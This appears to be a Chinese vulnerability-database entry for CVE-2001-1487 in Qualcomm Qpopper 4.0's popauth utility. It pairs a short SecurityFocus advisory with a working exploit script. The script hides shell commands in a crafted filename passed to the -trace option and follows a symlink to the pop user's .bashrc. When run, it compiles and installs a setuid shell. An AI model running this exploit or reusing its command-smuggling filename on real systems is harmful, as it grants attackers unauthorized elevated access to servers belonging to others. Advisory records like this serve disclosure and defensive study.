Qualcomm Qpopper popauth功能漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1106547 漏洞类型 未知
发布时间 2001-12-18 更新时间 2001-12-31
CVE编号 CVE-2001-1487 CNNVD-ID CNNVD-200112-250
漏洞平台 Unix CVSS评分 4.6
source: http://www.securityfocus.com/bid/3710/info

Qpopper is a freely available, open source Post Office Protocol server. It is maintained and distributed by Qualcomm.

When popauth is executed with the trace option, it does not correctly handle user-supplied input. A user can supply data to the popauth program through the trace flag which will cause the program to execute shell commands, and follow symbolic links.

This problem could be exploited to gain privilege elevation equal to that of the setuid bit on popauth, typically setuid as the pop user. 


# popauth symlink follow vuln by IhaQueR
# this will create .bashrc for user pop
# and ~pop/sup suid shell

FILE=$(perl -e 'print "/tmp/blah1\"\ncd ~\necho >blah.c \"#include <stdio.h>\nmain(){setreuid(geteuid(),getuid());execlp(\\\"bash\\\", \\\"bash\\\",NULL);}\"\ngcc blah.c -o sup\nchmod u+s sup\necho done\n\n\""')

ln -s /var/lib/pop/.bashrc "$FILE"

/usr/sbin/popauth -trace "$FILE"
Qualcomm qpopper 4.0